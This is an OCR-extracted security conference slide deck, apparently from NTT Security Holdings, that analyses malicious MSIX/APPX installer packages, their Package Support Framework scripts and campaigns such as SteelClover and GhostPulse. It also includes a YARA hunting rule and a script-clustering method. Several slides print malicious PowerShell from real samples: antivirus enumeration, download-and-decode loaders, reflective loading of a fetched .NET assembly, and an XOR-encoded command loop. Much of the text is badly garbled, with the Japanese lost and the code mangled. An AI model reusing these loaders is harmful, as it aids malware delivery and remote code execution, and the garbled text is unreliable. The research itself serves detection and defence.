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1. Introduction
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MSIX/APPX

MSIX
MSIX APPX

o C:¥Program Files¥WindowsApps¥

> VFS

> PSF (Package Support Framework)
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Tl m el | n e ® “TT Security Holdings

 Emotet: 2022 2 MSIX
» SteelClover :

o ClearFake :

e GhostPulse : 2023 10

e e e e o

2022/2 2023/2 2023/6 2023/10 2023/10
Emotet SteelClover[1] SteelClover[2] ClearFake[3] || GhostPulse[4]

MSIX/APPX

[1]nao_sec, #SteelClover is now testing MSIX file... , https://twitter.com/nao_sec/status/1630435399905705986

[2]Rintaro Koike, “SteelClover PowerHarbor ”, https://jp.security.ntt/tech_blog/102ignh

[3]Sekoia.io, “ClearFake: a newcomer to the “fake updates” threats landscape”, https://blog.sekoia.io/clearfake-a-newcomer-to-the-fake-updates-
threats-landscape/

[4]Elastic Security Labs, “GHOSTPULSE haunts victims using defense evasion bag o' trick”, https://www.elastic.co/security-labs/ghostpulse-
haunts-victims-using-defense-evasion-bag-o-tricks
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Motivation & Goals O) NTT  sccuriy Hoaings

« MSIX/APPX (BAF : /XFiles)

< L

PowerShell
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Difference Between Previous Presentation ® NTT Securty Holdings

. SteelClover
SANS DFIR Summit, Hack.lu 2023 : The rise of malicious MSIX file

AVAR2023 : [Rebrand to X?: SteelClover Cornucopia

10,000

A w0 Do

PSF 300 PowerShell
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2. Inside of XFiles
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Structures of XFiles

AppxSignature.p7x
= AppxMetadata
" [Content_Types].xml
"~ AppxBlockMap.xml
" AppxManifest.xml
resources.pri
" VFS
v [ AppData
= 2_1.3.0.5.exe
Assets
. AI_STUBS
@ Screenshot_2.png
» Firefox%20Installer.exe
Registry.dat

—

AppxManifest.xml

AppxSignature.p7x

AppxBlockMap.xml
Resources.pri

config.json

PsfRunDIK32,64}.{exe,dIl}
StartingScriptWrapper.psl

VFS/
- APPX

NTT Security Holdings All Rights Reserved
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AppContainer / mediumiL (©) NTT  sccury Hotangs

e MSIX

* AppxManifest.xml (EntryPoint, TrustLevel, RuntimeBehavior)
Windows10

AppContainer / partialTrustApplication
(AppContainer)
UWP

mediumlL / full TrustApplication
(Full Trusted Application)

11
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Structures of XFiles O) NTT  sccuriy Hoaings

« AppxManifest.xml (%)

o

MSIX Package

Application

« AppxSignature.p7x (& Files

o

0 PKCS(Public-Key Cryptography Standards) #7 AppxManifest =

I=
MSIX = :
° =3 AppxSignature m
e AppxBlockMap.xml i
Opp P = AppxBlockMap
o] (byte)
§ Windows

MSIX

https://learn.microsoft.com/ja-jp/windows/msix/overview
© NTT Security Holdings All Rights Reserved



Structures of XFiles O NTT securtyroianss

AppxManifest.xml (&

pplication Id="MyApp" Executable="MyApp.exe"
uapl@:RuntimeBehavior="packagedClassicApp"
uapl@:TrustLevel="mediumIL">

Identity Name="TelegramFZ-LLC.Unigram" Publisher="CN=Telegram FZ-LLC, O=Telegram

13
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Structures of XFiles

AppxManifest.xml (&

® NTT Ssecurity Holdings

ty Name="runFullTrust"

ty Name="packageManagemer

1lity Name="unvirtualizedResources

* Extensions
n Category="windows.activats

Xaml.dll</Patl

155 ActivatableClassId="Mile.Xaml.Applicat

lass ActivatableClassId="Mile.Xaml

NTT Security Holdings All Rights Reserved

ion" ThreadingModel="both"

ontrolsResources" ThreadingModel="both"
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Structures of XFiles O NTT securtyroianss

|dentity
Publisher

Properties
Resources
Dependencies
Capabilities

Applications

15
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Structures of XFiles

AppxSignature.p7x (%)

p7x : PKCX(¥50¥4b¥43%¥58) +
PKCX PKCK#7
OpenSSL

% hexdump -C ./AppxSignature.p7x |
00000000 50 4b 43 82 e6 77
00000010 06 68 306
00000020 |30 ed 6 86 48 01
00000030 |82 €1 18 2b 66 01
eoeoee4e |82 01 es8 81 e4 3o

head -n 5

@6 09 2a 86 48 86
82 96 64 082 01 61
65 @83 84 82 @1 e5
e4 01 82 37 @2 el
35 @6 @a 2b @6 @1

® NTT Ssecurity Holdings

|PKCXP. .w..*.H...

NTT Security Holdings All Rights Reserved
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Structures of XFiles O) NTT  sccuriy Hoaings

VFS (Virtual File System)

« OS
» %AppData%
. C:¥Program Files¥WindowsApps¥< >S¥VFS¥
| C¥Windows¥System32¥c1o.dl... . ¥VFS¥ System32¥c10.dl

"""""" L —
> 28 o [e

) OS(Win) VFS

17
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Structures of XFiles O NTT securtyroianss

PSF Package Support Framework

 VFS MSIX
. config.json
* PowerShell DLL (FixUp)

PSF Launcher exe Runtime fix dll

Config JSON
Runtime fix dll

Runtime Manager dl|

[5]Microsoft,
https://learn.microsoft.com/ja-jp/windows/msix/psf/package-support-framework

NTT Security Holdings All Rights Reserved
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Creating XFiles O) NTT securyorsings

 MakeAppx.exe
* Visual Studio

« MSIX Packaging Tool
0 MSI EXE App-V MSIX

e Advanced Installer
(0]
o GUI

¢

show_message.exe MSIX ]
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Creating XFiles O) NTT securyorsings

CLI

o AppxManifest.xml

exe [455R)

wtallerFullTrustippServiceClient. exe (9100)
S O ' I

* makepri.exe resources.pri ®
* MakeAppx = chow_ne

.| L-OTINIOET L B

e SignTools

© NTT Security Holdings All Rights Reserved 20



Creating XFiles O) NTT securyorsings

Advanced Installer
* AiStubX64.exe

Details
Start Point

(®) Application is compiled

= = = Executable: APPDIR%EhDW_ITIESEEIQE.E.‘.{El

A1LSTUS ApgaMetsdna Ary ament Trprsl,  Appeleckiapa  AppiManiferts
- . - Entry Point: Windows. FullTre=tApplication

Appafmatorng Bty UL P et

Executable="AI STUBS

© NTT Security Holdings All Rights Reserved



Creating XFiles O) NTT securyorsings

Advanced Installer
* AiStubX64.exe

EntryPoint="Windows.FullTrustApplication” Executables"AI STUBS‘\AiStubX64.exe"

= [ =vchost. exe (1300)
= [Ezihost.exe (455E)

¥ ippInztallerFul lTrustdppServiceClient. exe (E336)

= Emshow_messaze. exe (9308)
evjonhogt . exe (9448)

22
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Creating XFiles O) NTT securyorsings

PSF

« PSF PowerShell or DLL (Fixup)
e Fixup DLL PSFInitialize  PSFUninitialize

Windows #— ¢ el el v g
shell Infrast e Hozt

Popup Wrapper Mpplication
Windows Powerd |
a2l g R0 R b

Mind n wz FowerShell

ALV v B R R

NTT Security Holdings All Rights Reserved 23



Creating XFiles O) NTT securyorsings

config.json (PSF )

"processes"; [
r

"executable":, " *" FIXUp
"fixups": []
}

]

"applications": [

.-r
1

"id": "WINAPI.exe",

"endScript": {
"scriptExecutionMode" :
"scriptPath": "Hello.ps1"

config.json
PsfRunDIK32,64}.{exe,dll}
StartingScriptWrapper.psl

start / endScript

24
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Installing XFiles O) NTT  sccuriy Hoaings

—_ |:| b4
Enpass Password Manager 1A M=)l
LEdhH?
BT F40
I=4i93 69215480
* e
MSIX « FATOUATE W=-AEEHTS
s 2= BRI TR AT S

COFTY Mer-YoRTnERE ERETIIVATLE. ARFAOEREESLHRLLTIY
K-V mRT S0, YATLAERREEETIUERACMLShETSN. T o3
MO EOL-FEHEETATOMSIE R ERET AN EYVET (0x000B010A)

NTT Security Holdings All Rights Reserved 25



©

Installing XFiles

» CRL (Certificate Revocation List)

NTT Security Holdings All Rights Reserved

® “TT Security Holdings

BT ASHANA GLOBAL LTD

Midjourney Q1Y AM=JLICEBLELE

IT=37320 4005

PE:

s TRTOYATL V-2 EFHTL
B

FIUEA A= TEEHATLE, I5- Avt-3% I5- 0xBO0RD10C AR LM,
(0c5c223b86 11033398 5d4dT4676701fdcalbe3223ac05d45c336402b280ac 1 msix) frad/Ty
77— Midjoumey Midjourney_4.0.0.5 x84 jykImkSm2tp [ZH T ZEAM Add 354F (¥-Tob W

@
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Installing MSIX/APPX

Capability

NTT Security Holdings All Rights Reserved

® NTT Ssecurity Holdings

Unigram—Telegram for Windows #1>/ |
ZR-ILEF A 4

FE1T7T: Telegram FZ-LLC
IN=311324:9.5.8035.0

e

T2
| = ATlE
= FEECTIER
l 0 =21 = i
A FTITA je= L
o I
FE T
X 4 Vo
backor diaPiavl
Jrap

+ oneProcessyoll ra j
B W CS b {2 E-Ib
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Abusing XFiles

. EXE
o} ClearFake

e PSF PowerShell
o MSIX PowerShell
o} SteelClover GhostPulse

« PSF DLL
o MSIX DLL
o}
NTT Security Holdings All Rights Reserved
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Example of Malicious XFiles O NTT sccuryHowngs

msix( )| | PsF |

r

_ _ “startScript™:
"waitForScriptToFinish":

config.json

“runOnce™: '

- == "showWindow": false,
"scriptPath™: "run.psl”

$job = Start-Job -ScriptBlock {
$osCaption = (Get-WmiObject -Class Win32 Gptratlanfstem «Caption
furlEncodedOsCaption = [System.MNet.WebUtilit :UrlEncode( $osCaption
$domain = Get-Wmilbject Win32 Lumthrrﬂv;th | he'ﬁnt-Lh]1rt -ExpandProperty Domain

run.p

$AV = Get-WmiObject —Mamespace " thSecurityCenter2” —=Class AntiVirusProduct
$dis = $AV | ForEach-0bj
5 _.displayMame

$dis =join "
= NEw—ﬂhject Het.WebClient

:enrndeCtr1nq = }“HbL1ant DownloadString{surl
tdecodedString = vystem. Text.Encoding] & :Unicode.GetStringl [S tem.Conver ' tFromBas

NTT Security Holdings All Rights Reserved
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“ms-appinstaller:” URL Scheme Q@) NTT secury oisnos

“ms-appinstaller:”URI [6]

Web MSIX

-

.

e Web
 Microsoft Defender SmartScreen

[6]MSRC, “Microsoft
https://msrc.microsoft.com/blog/2024/01/microsoft-addresses- app -installer-abuse-ja/

30
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3. Analytics of “Wild” XFiles
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Mass Analytics of XFiles

2022/11/24 2023/11/23 9,457
VT (183 )

rule hunting_msix_appx {
strings:
$a00 = "AppxManifest.xml"
$a01 = "AppxBlockMap.xml"

$a03 = "AppxSignature.p7x"
condition:
uintle6(0) == 0x4b50 and all of them

NTT Security Holdings All Rights Reserved

Security Holdings
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Digital Signature

- CRL

signature:"Alto Verde Limited"

® NTT Ssecurity Holdings

FILES - 20 /72

NTT Security Holdings All Rights Reserved
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Digital Signature O) NTT  sccuriy Hoaings

CRL revocation date -

VT
« VT
:Fruity Designs Ltd
2023/10/11 15:55 2023/10/26 11:23 2023/10/26 21:23
2023/9/21 2023/10/10 | 2023/10/26 | | VT
1
2023/9/21 7:37 2023/10/10 6:50 2023/10/25 10:11

34
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Digital Signature O) NTT  sccuriy Hoaings

. :SOTUL SOLUTIONS LIMITED
2023/3/24 8:57 2023/9/29 1:10 2023/9/29 6:13
2023/3/21 2023/3/24 2023/9/29 | VT
i ;
2023/3/21 12:00 2023/3/23 5:32 2023/9/28 23:31
— (amadey)

35
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Mass Analytics of XFiles

. : (819 / 9,165 ) 1MB
104.8MB
EE
g, ]

. . . AL led
NTT Security Holdings All Rights Reserved
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Advanced Installer O) NTT  sccuriy Hoaings

e Advanced Installer

« EDR Advanced Installer +HBREDOZRTA N AMENERER ?
malicious
14 = False
1 True
12
10
oy
o 8
fa
6
4
2
0" o0 0.2 0.4 06 08 1.0

Advanced Installer® 37
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PSF

. config.json
. PowerShell
« PSF PowerShell
4
12
0
& s
&
&
&4
2
a
configjsonEMET &
NTT Security Holdings All Rights Reserved

malicious
= False
= True

(PS1)

® NTT Security Holdings

4
mETEps1 7 LOK

6

malicious
== False
= True

38



VFS @ NTT Security Holdings

* VES
. VES
\
0.07+ 0 malicious
I Falze
006 0 == True
0.05
2004
0
=
3 0.03
0.02 -
0.01 -
a.00 L b ng B -zl o, m ! m ! A
o] 200 400 600 800 1000 1200 1400
VFSRET D7 77 L#
NTT Security Holdings All Rights Reserved
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Capability

[ ]
. /
o . . . . . . =
== False
30 = True
25
a0
15
10
0s
0o I | == | e !
00 05 1.0 15 20 25 30 as 4.0

Capability D8

NTT Security Holdings All Rights Reserved

Density
e

a1

a0

® NTT Security Holdings

£ 8 10
rescap.Capability D8

12

malicious
== False
= True

40



Cap ab | I |ty ® “TT Security Holdings

I'Mr““--|-rr'_
pﬁmml_mrmm_
o [ 0 5 =
Capatlny D o 0 Fnaleee

—

] |

e |

oscFigysmmacces JJJ]

[ — ] s | ]
p—— —— rescap:allowElevation
mmm'fl qﬂ}-rmhll
- H-al @ 8 ® @ B0 W0 . ]
et Gty o 8 L e 0 “ s T 4 1 5 e 41
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Cap abil |ty ® NTT Security Holdings
4 )
. ( )
 Advanced Installer ( : Advanced Installer )

« PSF( . config.json / PS1 )

\_ e VFS( ) J
4 )
o Capability
- J

42
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XFiles Tool

. Python

$ xfiles 4228@38bdecadaSbbc34941bes8cBETEER

-===XFiles ver.1.1.8

® NTT Ssecurity Holdings

18efa3ifaleb2ffoacBoBfb3.msix

4228038bdecadasb6c34941bedaBcOB8TE80837830918efa3f016b2FfEacB68TbI . .msin

File 5ize : 38248332
Publ erDi
AppName : t A PDF reader (Update)

Analyzing...

| ICertification revoked

| IPSF files are detected
--config
--PsfRunDl164.exe

NTT Security Holdings All Rights Reserved
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Tool Demo
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4. Clustering PowerShell Scripts
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Clustering PS1

* 277

PS1

PS1

NTT Security Holdings All Rights Reserved
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® “TT Security Holdings

. PS1 (

NTT Security Holdings All Rights Reserved
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® “TT Security Holdings

* Docker Windows (Hyper-V) @-windows:servercorh

« OS -
e Linux PowerShell  .NET @
* N
74
* PowerShell
* Module Logging Script Block Logging transcript (,r | .
PowerShell
<> 3
PS1 k_J /

48
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PowerShell

fursction Main
fenc = [Systemn Text Encoding ] UTFB

$erv = [SyutemCorreent)FromBasof4Stringl $ary)
$zrv = mor Serv Smkey
Sorv = fanc petStringlSarv]
$emp = [Srstem Convert-FromBaaebdSaring Sempl
$omp = xor Somg Smbkey

cnp = Sone getStning| Fomp)

$enc = [System Text Encoding-UTFE

FUUND = {pet-wmishject Wnl2 ComguterSystemProduct] wed;
$xockey = Senc CetByles(Semp)

S$data = wor $anc GetBytes{SULIID) $xorkay

$weh = New—Dbpoct Systern Mot WobCllent
whitelStrue)|
eyl
Sren = SwebUploadDatal farv Somp™, Sdrtakbroak
leateh]
i#$, exception ~match TA0M) Hexitl
|
Start-Sleep —x 60,

$res = xor Sres Jomp

Sres = fenc GetSeringlSees)

fren = ConvertFree—JSON20(Sros);

$zcript # [System Tact Encoding ] U TF B GetString [ Systam Gonvert] FromBass84String{ $ras noript])
$scoript = [Seripthlock-Createl Sserpt’

Fveho-Command -SerptBlock $script -Argumentlist Sronarngs:

NTT Security Holdings All Rights Reserved



Extracting Features from .PS1

« PowerShell
« Palo Alto PowerShellProfiler[8]

PS1

[8]pan-unit42, “PowerShellProfiler”, https://github.com/pan-

unit42/public_tools/tree/master/powershellprofiler
© NTT Security Holdings All Rights Reserved P - P P

® NTT Ssecurity Holdings
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Clustering

- DBSCAN

« 22 +
PS1

NTT Security Holdings All Rights Reserved

@ NTT Security Holdings

C )
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Clustering Results

- PSF

MS

. PSF

3
4
16
17
24
25
274

275

sha

ad6bd8%e43adb25805efMMbT2145711915be 3balbEb522...
adGbdB89%e43adb25805ef0bT 214571 915be3batbEb522...
512a314e893744b2 1667290051996 d0adbbE5358d4e0...
612a314e893744b216672290e51996fd0ad4bb65358d4el...
5506d9b6448a5d6d1af690e5 3c7b7554c13cace/69858D...
5506d9bB448a5d6dia9690e63c7bT554c13cace7E9858D. ..
eb7bs6b926918695288bB87d091235150eedBbAT2334b06. ..
eb7b56b926918695288bB87009123515beedBbET2334b6. ..

MSIX

path
ConfigureUserSetting.ps1
GatherLogs.psl
ConfigurellserSetting. psi
GatherLogs.psi
ConfigureUserSetting.ps1
GatherLogs.psi
CaonfigurelUserSetting.psi

GatherLogs.psi1

@ NTT Security Holdings

psi
# Copyright (C) Microsoft Corporation. All rig...
# Copyright (C) Microsoft Corporation. All rig...
# Copyright (C) Microsaft Corporation. All rig. ..
# Copyright (C) Microsoft Corporation. All rig...
# Copyright (C) Microsoft Corporation. All rig...
# Copyright (C) Microsoft Corporation. All rig...
# Copyright (C) Microsoft Corporation. All rig...

# Copyright (C) Microsoft Corporation. All rig...

# Copyright (C) Microsoft Corporation. All rights reserved.

# Create/Updates the config.json with property and it's value pair.

NTT Security Holdings All Rights Reserved
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Clustering Results

AV

Web

 SteelClover ClearFake

© NTT Security Holdings All Rights Reserved

® “TT Security Holdings

53



Clustering Results O) NTT  sccuriy Hoaings

$AV = Get—WmiObject_—Namespace "rbot\SeturityCenterZ" ~Class AntiVirusProduct
$dis = $AV | ForEach-Object {

) $_.displayName WMI AV

$1lnk = "$LoadDomen/?status=start&av=$Names&domain=$domain"
$response = Invoke-RestMethod -Uri $lnk -Method GET
if ($response -match "404 HTTP Error") {

Write-Host "Received 404 HTTP Error."

exit

¢Namel = (New-Object System.Net.WebClient).DownloadData("https:// ")
$Name2 = [System.Reflection.Assembly]::Load($Namel)
$Name3 = $Name2.EntryPoint
if ($Name3) {

$Named = @()

$Name3.Invoke($null, $Name4) Reflection
}

© NTT Security Holdings All Rights Reserved 54




5. Case Studies
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PSF

e Advanced Installer + PSF AV
« PSF

« VFS Exe

L
1 lf'_:,' 1 security vendor and no sandboxes flagged this file as malicious
L 63
e
o comaing-pe  chocks-user-inpul detect-sebug-ernironment | leng-seops

Community Soore

© NTT Security Holdings All Rights Reserved

VT

Community Scong

fi )

@ “TT Security Holdings

) Nao security vendors and no sandboxes flagged this file as maliciows

ST

contains-pe checks-user-inpul | odlect-debug-envinonment  long-sleeps

56



PSF

e PSF Advanced Installer

Bundled Files (19) @

Scanned Detections
v 2023-11-27 1171
v 2023-11-29 1172
v 2023-11-29 1172
v 2023-11-29 1172

NTT Security Holdings All Rights Reserved

File type
Win32 EXE

Win32 EXE
Win32 EXE

Win32 EXE

® “TT Security Holdings

Name
PsfRunDII32.exe

PsfRunDIl&4.exe

show_message.exe

Al_STUBS/AIStubXé64.exe

S7



® NTT Ssecurity Holdings

. MSIX
. PSF

 Powershell..
 DLL (Fixup)..

« T1546.016 Event Triggered Execution: Installer Packages[9]
4 )

. 3

[9]MITRE, ATT&CK, “Event Triggered Execution: Installer Packages”,
https://attack.mitre.org/techniques/T1546/016/

58
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Conclusion
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Conclusion

«  MSIX/APPX AT :

/XFiles)

< L

PowerShell

® NTT Security Holdings

©

NTT Security Holdings All Rights Reserved
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UWP @ NTT Security Holdings

EntryPoint FOF ¢ HERIBAI0 mER P54 T{LIaHREEOBEH»EHE
£, “Office.Winword.Class™). “windows.fullTrustApplication®,
N “windows partialTrustApplication” TF,  EntryPoint & Application BET 7OF « JEREREEETT2EY, FL, gBCDLT. FPFUID-JoD
ETTSI88E. Executable KR EETTSoErEDE Dtersion BETHEETSCLETEEYT,. BEMRTHETFNTLGMESE, HPFUS -2
¥. EntryPoint BIEETZEEIZ. StartPage RITRETL IFCSERZNET, CHSOMEEEMFSOUTEELET, T2 EnryPoint,
LT IES L RuntimeBehavior. Trustlevel CITIMT SMBNED ., MASNUTHE [EEI1EK TN
uapi0:RuntimeBehavior PAUORTROBMEENELET. T, o7+ FEARRECEDHEASDEEL < DERCRELET,
“packagedClassicapp™ WinUl 3 FZFU, EREFAL o 1. Beecutable. uapiD:RuntimeBehavior="packagedClassicApp’. uaplt:Trustlevel=
FUw S FIU RSP, Winll 3 FIUGSS, & Cmediumil®, F7 12 “appContainer (AB LI BAORTE)
iz ‘ﬁu;thd.rD 'mediurn.u' FERENET (2 2 RIFA@T 7 1/l uaplt:RuntimeBehavior="win2App". uapl0TrustLevel="mediumiL" [T
L+ “appContainer” &A% A% TH). DAVDBHC NI, S0 b w20 uaplt:RuntimeBehavior BB w BHEIL T < I 2
N e e e . LA,
‘mediumil” [CHEDET (R7EL.. "appContainer H T8 uapikRuntimeBehavior="packagedClassicApp”, uapioTrustLevel="meadiumIL")
TT. 4 MEFARIF A N EntryPoint = “windows partialTrostApplication” |
uaplkRuntimedehavier="packagedClassicApp”, uap i TrustLevel ="appContainer~)
“windowsApp'— 1=/ (=t Windows 75w kT =4 5 RUTAIMI 7. EntryPoint- "« Tffi="
WP P, BT “appContaingr 0 TrustLevel EEEL
Y.

THATORNHETD/NFr (TEESNTLSED
sppmanifestoml) &, M=% D &FFUa=531D
FRERLTIZOEAELTRITENEY. 2 20—
SEENTVWSLTAS LN TERT, | DOAL-TiE
UWP P Mwindowshpp”) TF, 631 2iE, A -En
I2 winMain ["packagedClassicApp™ B2 “wind2App”) BE
IrWindows Lexe TY. =02 BEDNL-TN2, FA0k
W FRUEERINET.

https://learn.microsoft.com/ja-jp/uwp/schemas/appxpackage/uapmanifestschema/element-application

62
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